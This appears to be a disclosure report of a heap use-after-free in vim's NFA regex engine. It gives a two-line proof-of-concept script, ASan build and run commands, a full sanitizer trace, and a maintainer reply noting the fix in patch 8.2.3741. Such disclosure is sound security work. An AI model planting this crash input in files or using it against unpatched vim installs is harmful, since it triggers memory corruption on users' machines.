Use After Free in vim/vim
Reported on
Dec 3rd 2021
✍️ Description
When fuzzing vim commit 021ef351c
(works with latest build and latest commit 04b7b4b
per this time of this report) v8.2.3728, I discovered a use after free. This crash triggered with only clang 10 and ASan. And I'm testing with clang 13 it doesn't crash so I assume this crash doesn't happen in clang >= 11
Proof of Concept
Here is the minimized poc
)/\v/
o/\%')
How to build
LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --enable-gui=none
make -j$(nproc)
Proof of Concept
Run crafted file with this command
./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!
ASan stack trace:
aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer ./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!
=================================================================
==3190301==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000006631 at pc 0x000000988ebb bp 0x7fffffff5e40 sp 0x7fffffff5e38
READ of size 1 at 0x602000006631 thread T0
#0 0x988eba in utf_ptr2char /root/vim/src/mbyte.c:1788:9
#1 0xc6be7b in nfa_regmatch /root/vim/src/./regexp_nfa.c:5850:13
#2 0xc69168 in nfa_regtry /root/vim/src/./regexp_nfa.c:7245:14
#3 0xc67219 in nfa_regexec_both /root/vim/src/./regexp_nfa.c:7440:14
#4 0xbebd1a in nfa_regexec_nl /root/vim/src/./regexp_nfa.c:7620:12
#5 0xbe848f in vim_regexec_string /root/vim/src/regexp.c:2798:14
#6 0xbe8c6c in vim_regexec /root/vim/src/regexp.c:2864:12
#7 0x7abf73 in ex_open /root/vim/src/ex_docmd.c:6882:10
#8 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
#9 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
#10 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
#11 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
#12 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
#13 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
#14 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
#15 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
#16 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
#17 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
#18 0x11fd74c in main /root/vim/src/main.c:426:12
#19 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#20 0x41fe7d in _start (/root/vim/src/vim+0x41fe7d)
0x602000006631 is located 1 bytes inside of 2-byte region [0x602000006630,0x602000006632)
freed by thread T0 here:
#0 0x49833d in free (/root/vim/src/vim+0x49833d)
#1 0x4c89e9 in vim_free /root/vim/src/alloc.c:615:2
#2 0x9a3660 in ml_flush_line /root/vim/src/memline.c:4060:2
#3 0x9b6004 in ml_get_buf /root/vim/src/memline.c:2647:2
#4 0x9b2b42 in ml_get /root/vim/src/memline.c:2563:12
#5 0x9f43ca in dec /root/vim/src/misc2.c:424:6
#6 0x9f46ae in decl /root/vim/src/misc2.c:443:14
#7 0xf10009 in findsent /root/vim/src/textobject.c:80:10
#8 0x963e52 in getmark_buf_fnum /root/vim/src/mark.c:363:6
#9 0x9635f8 in getmark_buf /root/vim/src/mark.c:293:12
#10 0xc764cb in nfa_regmatch /root/vim/src/./regexp_nfa.c:6838:16
#11 0xc69168 in nfa_regtry /root/vim/src/./regexp_nfa.c:7245:14
#12 0xc67219 in nfa_regexec_both /root/vim/src/./regexp_nfa.c:7440:14
#13 0xbebd1a in nfa_regexec_nl /root/vim/src/./regexp_nfa.c:7620:12
#14 0xbe848f in vim_regexec_string /root/vim/src/regexp.c:2798:14
#15 0xbe8c6c in vim_regexec /root/vim/src/regexp.c:2864:12
#16 0x7abf73 in ex_open /root/vim/src/ex_docmd.c:6882:10
#17 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
#18 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
#19 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
#20 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
#21 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
#22 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
#23 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
#24 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
#25 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
#26 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
#27 0x11fd74c in main /root/vim/src/main.c:426:12
#28 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
previously allocated by thread T0 here:
#0 0x4985bd in malloc (/root/vim/src/vim+0x4985bd)
#1 0x4c825d in lalloc /root/vim/src/alloc.c:244:11
#2 0x4c8173 in alloc /root/vim/src/alloc.c:151:12
#3 0xe1d594 in vim_strnsave /root/vim/src/strings.c:44:9
#4 0x9b71fd in ml_replace_len /root/vim/src/memline.c:3437:13
#5 0x9b6fa3 in ml_replace /root/vim/src/memline.c:3400:12
#6 0x74f068 in ex_substitute /root/vim/src/ex_cmds.c:4654:4
#7 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
#8 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
#9 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
#10 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
#11 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
#12 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
#13 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
#14 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
#15 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
#16 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
#17 0x11fd74c in main /root/vim/src/main.c:426:12
#18 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free /root/vim/src/mbyte.c:1788:9 in utf_ptr2char
Shadow bytes around the buggy address:
0x0c047fff8c70: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff8c80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff8c90: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 05 fa
0x0c047fff8ca0: fa fa fd fa fa fa 03 fa fa fa 03 fa fa fa 03 fa
0x0c047fff8cb0: fa fa fd fa fa fa 03 fa fa fa fd fa fa fa 00 00
=>0x0c047fff8cc0: fa fa 01 fa fa fa[fd]fa fa fa fd fd fa fa 00 03
0x0c047fff8cd0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8ce0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 03
0x0c047fff8cf0: fa fa fd fd fa fa 00 02 fa fa 05 fa fa fa fa fa
0x0c047fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3190301==ABORTING
💥 Impact
This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution
I could not reproduce it with the POC provided, but can identify the problem by the stack traces. I'll make a patch that has easier to understand reproduction commands.
Fix with a regression test in patch 8.2.3741. Valgrind shows the use of freed memory running the test without the fix.